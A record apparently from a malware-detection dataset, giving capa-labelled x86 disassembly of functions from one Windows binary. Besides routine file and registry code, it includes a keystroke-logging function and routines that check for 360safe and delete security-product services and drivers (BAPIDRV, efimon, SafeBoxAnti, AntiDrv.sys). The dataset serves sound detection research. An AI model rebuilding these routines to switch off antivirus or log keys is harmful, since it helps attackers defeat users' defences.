joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40ac9a
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push edi
xor edi, edi
mov dword [ebp - 4], edi
cmp eax, edi
jne 0x40acb8
xor ecx, ecx
cmp cx, word [eax]
jne 0x40acb8
xor eax, eax
jmp 0x40ae16
push ebx
push edi
push 0x20
push 3
push edi
push 1
push SysReAllocString
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x40acdb
xor eax, eax
jmp 0x40ae15
push esi
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, eax
cmp esi, 2
jb 0x40ae0b
cmp esi, 0xffffffff
je 0x40ae0b
mov dword [ebp - 8], edi
lea edi, [esi + 2]
push edi
call fcn.0048bc2e
pop ecx
mov dword [ebp - 0xc], eax
test eax, eax
je 0x40ae0b
push edi
push 0
push eax
call fcn.00492200
add esp, 0xc
push 0
lea eax, [ebp - 8]
push eax
push esi
mov esi, dword [ebp - 0xc]
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
movzx ax, byte [esi + 1]
movzx cx, byte [esi]
shl ax, 8
or ax, cx
mov ecx, 0xfeff
cmp ax, cx
jne 0x40adac
lea eax, [esi + 2]
test eax, eax
je 0x40adff
mov ebx, 0x4d85f4
push ebx
push eax
jmp 0x40ad9f
mov ecx, eax
lea edi, [ecx + 2]
mov dx, word [ecx]
inc ecx
inc ecx
test dx, dx
jne 0x40ad68
sub ecx, edi
sar ecx, 1
add ecx, 0xfffffff2
cmp ecx, 5
ja 0x40ad9c
cmp word [eax + 8], 0x5f
jne 0x40ad9c
push 5
add eax, 0x12
push 0x4d85f8
push eax
call fcn.0048e8ea
add esp, 0xc
test eax, eax
je 0x40adf8
push ebx
push 0
call fcn.0048e83f
pop ecx
pop ecx
test eax, eax
jne 0x40ad63
jmp 0x40adff
mov ebx, 0x4d8604
push ebx
push esi
jmp 0x40adeb
mov ecx, eax
lea edi, [ecx + 1]
mov dl, byte [ecx]
inc ecx
test dl, dl
jne 0x40adba
sub ecx, edi
add ecx, 0xfffffff2
cmp ecx, 5
ja 0x40ade8
cmp byte [eax + 4], 0x5f
jne 0x40ade8
push 5
add eax, 9
push str._auth
push eax
call fcn.0049315d
add esp, 0xc
test eax, eax
je 0x40adf8
push ebx
push 0
call fcn.0048e921
pop ecx
pop ecx
test eax, eax
jne 0x40adb5
jmp 0x40adff
mov dword [ebp - 4], 1
push esi
call fcn.0048cd90
mov eax, dword [ebp - 4]
pop ecx
jmp 0x40ae14
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
pop esi
pop ebx
pop edi
leave
ret
Function at 0x40c603
Capabilities:
Check mutex on windows
Log keystrokes

Disassembly:
push edi
push dword [esp + 8]
xor edi, edi
push 1
push edi
mov byte [0x515480], 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x515484], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x40c69c
push ebx
push dword [esp + 0xc]
push edi
call dword [sym.imp.USER32.dll_FindWindowW]
mov ebx, eax
cmp ebx, edi
je 0x40c694
push ebp
push esi
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov esi, dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push 1
mov dword [esp + 0x18], eax
call esi
push eax
push edi
push dword [esp + 0x20]
mov edi, dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
call edi
mov ebp, dword [sym.imp.USER32.dll_AttachThreadInput]
push eax
call ebp
push ebx
call dword [sym.imp.USER32.dll_SetForegroundWindow]
push ebx
call dword [sym.imp.USER32.dll_BringWindowToTop]
push 1
push ebx
call dword [sym.imp.USER32.dll_SwitchToThisWindow]
push 0
call esi
push eax
push 0
push dword [esp + 0x20]
call edi
push eax
call ebp
pop esi
pop ebp
mov byte [0x515480], 1
pop ebx
mov eax, 0x515480
pop edi
ret 4

Function at 0x40c950
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
mov eax, dword [0x4f51d0]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 0x10]
push esi
push edi
mov edi, dword [ebp + 8]
xor eax, eax
push 0x206
mov word [ebp - 0x20c], ax
xor esi, esi
lea eax, [ebp - 0x20a]
push esi
push eax
call fcn.00492200
add esp, 0xc
push esi
push 0x17
lea eax, [ebp - 0x20c]
push eax
push esi
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
push esi
call dword [sym.imp.ole32.dll_CoInitialize]
push ebx
mov eax, edi
call fcn.0040ca8e
pop ecx
cmp eax, esi
jne 0x40c9b5
xor eax, eax
jmp 0x40c9dd
push esi
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_DefWindowProcW]
call fcn.0040d2cf
call fcn.0040d25c
call fcn.0040c88c
mov esi, eax
call fcn.0040d20f
call dword [sym.imp.ole32.dll_CoUninitialize]
mov eax, esi
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0048c64c
leave
ret 0x10

Function at 0x40e676
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
cmp dword [ebp + 0x10], 0
jne 0x40e684
push 0xd
pop eax
jmp 0x40e6b7
push esi
mov esi, dword [ebp + 0x10]
push edi
xor edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
inc eax
lea ecx, [eax + eax]
add esi, ecx
add edi, ecx
cmp eax, 1
jne 0x40e68b
mov eax, dword [ebp + 8]
push edi
push dword [ebp + 0x10]
push 7
push 0
push dword [ebp + 0xc]
push dword [eax]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
pop edi
pop esi
pop ebp
ret 0xc

Function at 0x40e6bf
Capabilities:
Set registry value

Disassembly:
push 4
lea eax, [esp + 0x10]
push eax
mov eax, dword [esp + 0xc]
push 4
push 0
push dword [esp + 0x18]
push dword [eax]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
ret 0xc
Function at 0x40eb4c
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x228
mov eax, dword [0x4f51d0]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
push esi
push edi
mov edi, ecx
mov ecx, dword [ebp + 8]
mov eax, dword [edi + 4]
push ecx
push dword [edi]
mov dword [ebp - 0x21c], ecx
xor esi, esi
or eax, 0x2001f
lea ecx, [ebp - 0x214]
mov dword [ebp - 0x214], esi
mov dword [ebp - 0x210], esi
call fcn.0040eb0e
mov ebx, eax
cmp ebx, esi
je 0x40ebb5
lea esi, [ebp - 0x214]
call fcn.0040ec6e
mov eax, ebx
mov ecx, dword [ebp - 8]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0048c64c
leave
ret 4
mov ebx, dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
jmp 0x40ebd3
lea eax, [ebp - 0x20c]
push eax
lea ecx, [ebp - 0x214]
call fcn.0040eb4c
cmp eax, esi
jne 0x40ec1a
lea eax, [ebp - 0x224]
push eax
push esi
push esi
push esi
lea eax, [ebp - 0x218]
push eax
lea eax, [ebp - 0x20c]
push eax
push esi
push dword [ebp - 0x214]
mov dword [ebp - 0x218], 0x100
call ebx
test eax, eax
je 0x40ebbd
lea esi, [ebp - 0x214]
call fcn.0040ec6e
push dword [ebp - 0x21c]
mov esi, edi
call fcn.0040ec91
lea esi, [ebp - 0x214]
mov edi, eax
call fcn.0040ec6e
mov eax, edi
jmp 0x40eba4

Function at 0x40ec91
Capabilities:
Delete registry key

Disassembly:
cmp byte [0x5153d4], 0
jne 0x40ecc1
push 0x4d8b14
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x40ecba
push str.RegDeleteKeyExW
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x5153d8], eax
mov byte [0x5153d4], 1
mov eax, dword [0x5153d8]
test eax, eax
je 0x40ecd9
push 0
push dword [esi + 4]
push dword [esp + 0xc]
push dword [esi]
call eax
jmp 0x40ece5
push dword [esp + 4]
push dword [esi]
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
ret 4
Function at 0x4100b3
Capabilities:
Hash data with md5

Disassembly:
xor ecx, ecx
mov byte [eax + 0x68], cl
mov dword [eax + 0x14], ecx
mov dword [eax + 0x10], ecx
mov dword [eax], 0x67452301
mov dword [eax + 4], 0xefcdab89
mov dword [eax + 8], 0x98badcfe
mov dword [eax + 0xc], 0x10325476
ret

Function at 0x410e92
Capabilities:
Write file on windows

Disassembly:
push 0x50
mov eax, 0x4c3e8d
call fcn.00492e54
mov edi, ecx
cmp dword [edi + 0x3c], 0
mov dword [ebp - 0x34], edi
je 0x410fa2
cmp byte [edi + 0x41], 0
je 0x410fa2
mov eax, dword [edi]
push 0xffffffffffffffff
call dword [eax + 4]
cmp eax, 0xffffffff
jne 0x410eca
xor al, al
jmp 0x410fa4
lea eax, [ebp - 0x2c]
call fcn.00410c10
and dword [ebp - 4], 0
lea eax, [edi + 0x44]
mov dword [ebp - 0x38], eax
lea eax, [ebp - 0x44]
lea ecx, [ebp - 0x2c]
call fcn.00410c2c
mov esi, eax
call fcn.00410fd7
mov ebx, dword [ebp - 0x18]
mov dword [ebp - 0x3c], eax
lea eax, [ebp - 0x5c]
lea ecx, [ebp - 0x2c]
call fcn.00410c2c
mov esi, eax
call fcn.00410fd7
mov ecx, dword [edi + 0x3c]
mov edx, dword [ecx]
lea esi, [ebp - 0x30]
push esi
mov esi, dword [ebp - 0x3c]
add ebx, esi
push ebx
push eax
push dword [ebp - 0x38]
call dword [edx + 0x18]
sub eax, 0
je 0x410f3a
dec eax
je 0x410f3e
dec eax
dec eax
je 0x410f9e
xor bl, bl
push 0
push 1
lea ecx, [ebp - 0x2c]
call fcn.00408b2a
mov al, bl
jmp 0x410fa4
mov byte [edi + 0x41], 0
lea eax, [ebp - 0x54]
lea ecx, [ebp - 0x2c]
call fcn.00410c2c
mov esi, eax
call fcn.00410fd7
mov ebx, dword [ebp - 0x30]
sub ebx, eax
je 0x410f7c
lea eax, [ebp - 0x4c]
lea ecx, [ebp - 0x2c]
call fcn.00410c2c
mov esi, eax
call fcn.00410fd7
push dword [edi + 0x4c]
push ebx
push 1
push eax
call fcn.0048f8cf
add esp, 0x10
cmp ebx, eax
jne 0x410f28
cmp byte [edi + 0x41], 0
je 0x410f9e
test ebx, ebx
jne 0x410edc
push ebx
push 8
pop ebx
lea edi, [ebp - 0x2c]
call fcn.00410a7e
mov edi, dword [ebp - 0x34]
jmp 0x410edc
mov bl, 1
jmp 0x410f2a
mov al, 1
call fcn.00492ed7
ret

Function at 0x41484c
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
xor esi, esi
push edi
cmp dword [ebp + 8], esi
je 0x41489c
cmp dword [ebp + 0xc], esi
je 0x41489c
push esi
push 0x80000080
push 2
push esi
push 3
push 0xc0000000
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x41489c
push esi
lea eax, [ebp - 4]
push eax
push ebx
push dword [ebp + 8]
mov dword [ebp - 4], esi
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
test eax, eax
jne 0x4148a2
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
pop edi
pop esi
leave
ret
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
cmp dword [ebp - 4], ebx
sete al
jmp 0x41489e
Function at 0x41569c
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ecx
and dword [ebp - 4], 0
push esi
mov esi, ecx
mov eax, dword [esi]
call dword [eax + 4]
mov eax, dword [ebp + 0xc]
test eax, eax
je 0x41571d
cmp dword [ebp + 0x10], 0
je 0x41571d
mov ecx, eax
shr ecx, 0x10
test cx, cx
jne 0x4156c6
movzx eax, ax
push ebx
push dword [ebp + 0x10]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov ebx, eax
test ebx, ebx
je 0x41571c
push edi
push ebx
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push ebx
push dword [ebp + 8]
mov edi, eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x41571b
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
test eax, eax
je 0x41571b
and dword [esi + 0x10], 0
mov dword [esi + 8], eax
xor eax, eax
inc eax
and dword [esi + 0x1c], 0
mov byte [esi + 4], 0
mov dword [esi + 0xc], edi
mov dword [esi + 0x18], eax
mov dword [ebp - 4], eax
pop edi
pop ebx
mov eax, dword [ebp - 4]
pop esi
leave
ret 0xc

Function at 0x415725
Capabilities:
Check if file exists
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
xor edi, edi
mov esi, ecx
mov dword [ebp - 4], edi
cmp dword [esi + 0x18], edi
je 0x41574c
mov eax, dword [esi + 8]
cmp eax, edi
je 0x41574c
push eax
call fcn.0048cd90
pop ecx
mov dword [esi + 8], edi
mov dword [esi + 0x18], edi
cmp dword [ebp + 8], edi
je 0x415817
push dword [ebp + 8]
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x415817
push 0x207
push dword [ebp + 8]
lea ebx, [esi + 0x20]
push ebx
call fcn.0048d090
add esp, 0xc
push edi
push 0x80
push 3
push edi
push 1
push SysReAllocString
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x415817
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
cmp eax, edi
mov dword [esi + 0xc], eax
mov dword [ebp + 8], edi
jle 0x415821
cmp eax, 0x6400000
jg 0x415821
inc eax
push eax
call fcn.0048bc2e
pop ecx
mov dword [esi + 8], eax
cmp eax, edi
je 0x415821
mov ecx, dword [esi + 0xc]
inc ecx
push ecx
push edi
push eax
call fcn.00492200
add esp, 0xc
push edi
lea eax, [ebp + 8]
push eax
push dword [esi + 0xc]
push dword [esi + 8]
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x4157ff
mov eax, dword [esi + 0xc]
cmp eax, dword [ebp + 8]
jne 0x4157ff
xor eax, eax
inc eax
mov dword [ebp - 4], eax
mov dword [esi + 0x18], eax
mov eax, dword [esi]
mov ecx, esi
call dword [eax + 0x1c]
jmp 0x415810
mov eax, dword [esi + 8]
cmp eax, edi
je 0x415810
push eax
call fcn.0048cd90
pop ecx
mov dword [esi + 8], edi
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
leave
ret 4
xor eax, eax
jmp 0x41581a
Function at 0x415825
Capabilities:
Check if file exists

Disassembly:
push esi
push edi
mov edi, dword [esp + 0xc]
mov esi, ecx
test edi, edi
jne 0x415835
xor eax, eax
jmp 0x415864
push edi
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x415831
mov eax, dword [esi]
mov ecx, esi
call dword [eax + 4]
mov eax, dword [esi]
push edi
mov ecx, esi
call dword [eax + 0x10]
test eax, eax
je 0x415831
and dword [esi + 0x10], 0
xor eax, eax
inc eax
and dword [esi + 0x1c], 0
mov byte [esi + 4], al
mov dword [esi + 0x18], eax
pop edi
pop esi
ret 4

Function at 0x4178fc
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
xor eax, eax
lea ecx, [ebp - 4]
push ecx
push eax
push dword [ebp + 8]
mov dword [ebp - 4], eax
push 0x417860
push eax
push eax
call fcn.0048ff7d
add esp, 0x18
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
leave
ret

Function at 0x4198cf
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push edi
mov edi, edx
test ecx, ecx
jne 0x4198da
xor eax, eax
pop edi
ret
push esi
not eax
mov edx, 0xff
cmp edi, 8
jb 0x41998c
mov esi, edi
shr esi, 3
push ebx
movzx ebx, byte [ecx]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x4d7d38]
inc ecx
movzx ebx, byte [ecx]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x4d7d38]
inc ecx
movzx ebx, byte [ecx]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x4d7d38]
inc ecx
movzx ebx, byte [ecx]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x4d7d38]
inc ecx
movzx ebx, byte [ecx]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x4d7d38]
inc ecx
movzx ebx, byte [ecx]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x4d7d38]
inc ecx
movzx ebx, byte [ecx]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x4d7d38]
inc ecx
movzx ebx, byte [ecx]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x4d7d38]
inc ecx
sub edi, 8
dec esi
jne 0x4198f1
pop ebx
test edi, edi
je 0x4199a5
movzx esi, byte [ecx]
xor esi, eax
and esi, edx
shr eax, 8
xor eax, dword [esi*4 + 0x4d7d38]
inc ecx
dec edi
jne 0x419990
pop esi
not eax
pop edi
ret

Function at 0x41a18b
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push edi
mov edi, dword [ebp + 0xc]
imul edi, dword [ebp + 0x10]
cmp byte [esi], 0
je 0x41a1bb
push 0
lea eax, [ebp + 0x10]
push eax
push edi
push dword [ebp + 8]
push dword [esi + 4]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x41a1b6
mov byte [esi + 8], 1
mov eax, dword [ebp + 0x10]
jmp 0x41a1e3
mov ecx, dword [esi + 0x18]
mov eax, dword [esi + 0x14]
lea edx, [ecx + edi]
cmp edx, eax
jbe 0x41a1cc
sub eax, ecx
mov edi, eax
mov eax, dword [esi + 0x10]
push edi
add eax, ecx
push eax
push dword [ebp + 8]
call fcn.00492530
add esp, 0xc
add dword [esi + 0x18], edi
mov eax, edi
xor edx, edx
div dword [ebp + 0xc]
pop edi
pop ebp
ret
Function at 0x41b00b
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
cmp dword [ebx], 0
push edi
jne 0x41b08c
cmp dword [ebx + 4], 0xffffffff
jne 0x41b08c
push esi
lea esi, [ebx + 0x138]
push esi
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
dec esi
dec esi
mov ax, word [esi + 2]
inc esi
inc esi
test ax, ax
jne 0x41b02f
cmp dword [ebp + 0x10], 1
mov edi, esi
mov esi, 0x4d8dcc
movsd dword es:[edi], dword [esi]
pop esi
jne 0x41b05e
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileType]
cmp eax, 1
je 0x41b05e
mov eax, 0x2000000
jmp 0x41b091
mov edi, dword [ebp + 8]
lea eax, [ebp + 0x10]
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call fcn.00419fac
add esp, 0xc
test eax, eax
jne 0x41b07c
mov eax, dword [ebp + 0x10]
jmp 0x41b091
push eax
call fcn.0041a441
mov dword [ebx], eax
mov eax, dword [0x514584]
pop ecx
jmp 0x41b091
mov eax, 0x1000000
pop edi
pop ebp
ret 0xc

Function at 0x41b55a
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x414
mov eax, dword [0x4f51d0]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
mov esi, dword [ebp + 0xc]
test esi, esi
je 0x41b634
movzx eax, word [esi]
test ax, ax
je 0x41b634
mov ecx, esi
mov edx, esi
movzx eax, ax
cmp ax, 0x2f
je 0x41b59c
cmp ax, 0x5c
jne 0x41b59e
mov ecx, edx
inc edx
inc edx
movzx eax, word [edx]
test ax, ax
jne 0x41b590
push edi
cmp ecx, esi
je 0x41b5db
sub ecx, esi
mov edi, ecx
sar edi, 1
push edi
lea eax, [ebp - 0x20c]
push esi
push eax
call fcn.0048d090
xor eax, eax
mov word [ebp + edi*2 - 0x20c], ax
lea eax, [ebp - 0x20c]
push eax
push ebx
call fcn.0041b55a
add esp, 0x14
lea edx, [ebp - 0x414]
mov eax, ebx
sub edx, ebx
movzx ecx, word [eax]
mov word [edx + eax], cx
inc eax
inc eax
test cx, cx
jne 0x41b5e5
mov eax, esi
mov edx, esi
mov cx, word [eax]
inc eax
inc eax
test cx, cx
jne 0x41b5f7
sub eax, edx
lea edi, [ebp - 0x414]
dec edi
dec edi
mov cx, word [edi + 2]
inc edi
inc edi
test cx, cx
jne 0x41b60b
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push 0
lea eax, [ebp - 0x414]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
pop edi
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
pop ebx
call fcn.0048c64c
leave
ret
Function at 0x41bfae
Capabilities:
Delete file
Delete service
Get common file path

Disassembly:
push ebp
lea ebp, [esp - 0x190]
sub esp, 0x210
mov eax, dword [0x4f51d0]
xor eax, ebp
mov dword [ebp + 0x18c], eax
push ebx
push esi
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov ebx, eax
test ebx, ebx
je 0x41c02f
push edi
push 0x10000
push str.BAPIDRV
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov edi, eax
test edi, edi
je 0x41c02b
push edi
call dword [sym.imp.ADVAPI32.dll_DeleteService]
test eax, eax
jne 0x41c01d
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.DeleteService_failed___d__n
call fcn.004904a4
pop ecx
jmp 0x41c027
push str.Service_deleted_successfully_n
call fcn.004904a4
pop ecx
push edi
call esi
push ebx
call esi
pop edi
and dword [ebp - 0x80], 0
lea eax, [ebp - 0x80]
push eax
call fcn.0041bf62
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x7c], ax
lea eax, [ebp - 0x7a]
push eax
call fcn.00492200
add esp, 0xc
mov esi, 0x104
push esi
lea eax, [ebp - 0x7c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
lea eax, [ebp - 0x7c]
push eax
push str._sDriversBAPIDRV.sys
push esi
push eax
call fcn.0040c6cf
add esp, 0x10
lea eax, [ebp - 0x7c]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
pop esi
pop ebx
test eax, eax
je 0x41c092
push 0x4d9718
call fcn.004904a4
pop ecx
push dword [ebp - 0x80]
call fcn.0041bf88
mov ecx, dword [ebp + 0x18c]
xor eax, eax
xor ecx, ebp
inc eax
call fcn.0048c64c
add ebp, 0x190
leave
ret

Function at 0x41c0b2
Capabilities:
Delete file
Get common file path

Disassembly:
push ebp
lea ebp, [esp - 0x190]
sub esp, 0x210
mov eax, dword [0x4f51d0]
xor eax, ebp
mov dword [ebp + 0x18c], eax
and dword [ebp - 0x80], 0
push esi
lea eax, [ebp - 0x80]
push eax
call fcn.0041bf62
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x7c], ax
lea eax, [ebp - 0x7a]
push eax
call fcn.00492200
add esp, 0xc
mov esi, 0x104
push esi
lea eax, [ebp - 0x7c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
lea eax, [ebp - 0x7c]
push eax
push str._sDriversefimon.sys
push esi
push eax
call fcn.0040c6cf
add esp, 0x10
lea eax, [ebp - 0x7c]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
pop esi
test eax, eax
je 0x41c130
push 0x4d9718
call fcn.004904a4
pop ecx
push dword [ebp - 0x80]
call fcn.0041bf88
mov ecx, dword [ebp + 0x18c]
xor eax, eax
xor ecx, ebp
inc eax
call fcn.0048c64c
add ebp, 0x190
leave
ret
Function at 0x41c150
Capabilities:
Delete file
Delete service
Get common file path

Disassembly:
push ebp
lea ebp, [esp - 0x190]
sub esp, 0x210
mov eax, dword [0x4f51d0]
xor eax, ebp
mov dword [ebp + 0x18c], eax
push ebx
push esi
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov ebx, eax
test ebx, ebx
je 0x41c1d1
push edi
push 0x10000
push str.SafeBoxAnti
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov edi, eax
test edi, edi
je 0x41c1cd
push edi
call dword [sym.imp.ADVAPI32.dll_DeleteService]
test eax, eax
jne 0x41c1bf
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.DeleteService_failed___d__n
call fcn.004904a4
pop ecx
jmp 0x41c1c9
push str.Service_deleted_successfully_n
call fcn.004904a4
pop ecx
push edi
call esi
push ebx
call esi
pop edi
and dword [ebp - 0x80], 0
lea eax, [ebp - 0x80]
push eax
call fcn.0041bf62
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x7c], ax
lea eax, [ebp - 0x7a]
push eax
call fcn.00492200
add esp, 0xc
mov esi, 0x104
push esi
lea eax, [ebp - 0x7c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
call fcn.0045d92f
test eax, eax
lea eax, [ebp - 0x7c]
push eax
je 0x41c21a
push str._sDriversSafeBoxKrnl64.sys
jmp 0x41c21f
push str._sDriversAntiDrv.sys
push esi
push eax
call fcn.0040c6cf
add esp, 0x10
lea eax, [ebp - 0x7c]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
pop esi
pop ebx
test eax, eax
je 0x41c244
push 0x4d9718
call fcn.004904a4
pop ecx
push dword [ebp - 0x80]
call fcn.0041bf88
mov ecx, dword [ebp + 0x18c]
xor eax, eax
xor ecx, ebp
inc eax
call fcn.0048c64c
add ebp, 0x190
leave
ret

Function at 0x41c264
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
lea ebp, [esp - 0x198]
sub esp, 0x218
mov eax, dword [0x4f51d0]
xor eax, ebp
mov dword [ebp + 0x194], eax
push esi
push edi
xor eax, eax
push 0x206
xor esi, esi
mov word [ebp - 0x74], ax
lea eax, [ebp - 0x72]
push esi
push eax
xor edi, edi
call fcn.00492200
add esp, 0xc
lea eax, [ebp - 0x78]
push eax
push 0x20019
push esi
push str.SOFTWAREMicrosoftWindowsCurrentVersionApp_Paths360safe.exe
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x41c2e9
lea eax, [ebp - 0x7c]
push eax
lea eax, [ebp - 0x74]
push eax
lea eax, [ebp - 0x80]
push eax
push esi
push str.Path
push dword [ebp - 0x78]
mov dword [ebp - 0x80], esi
mov dword [ebp - 0x7c], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push dword [ebp - 0x78]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp word [ebp - 0x74], si
je 0x41c2f2
xor edi, edi
inc edi
call fcn.0041c150
cmp edi, esi
pop edi
pop esi
jne 0x41c307
call fcn.0041bfae
call fcn.0041c0b2
mov ecx, dword [ebp + 0x194]
xor eax, eax
xor ecx, ebp
inc eax
call fcn.0048c64c
add ebp, 0x198
leave
ret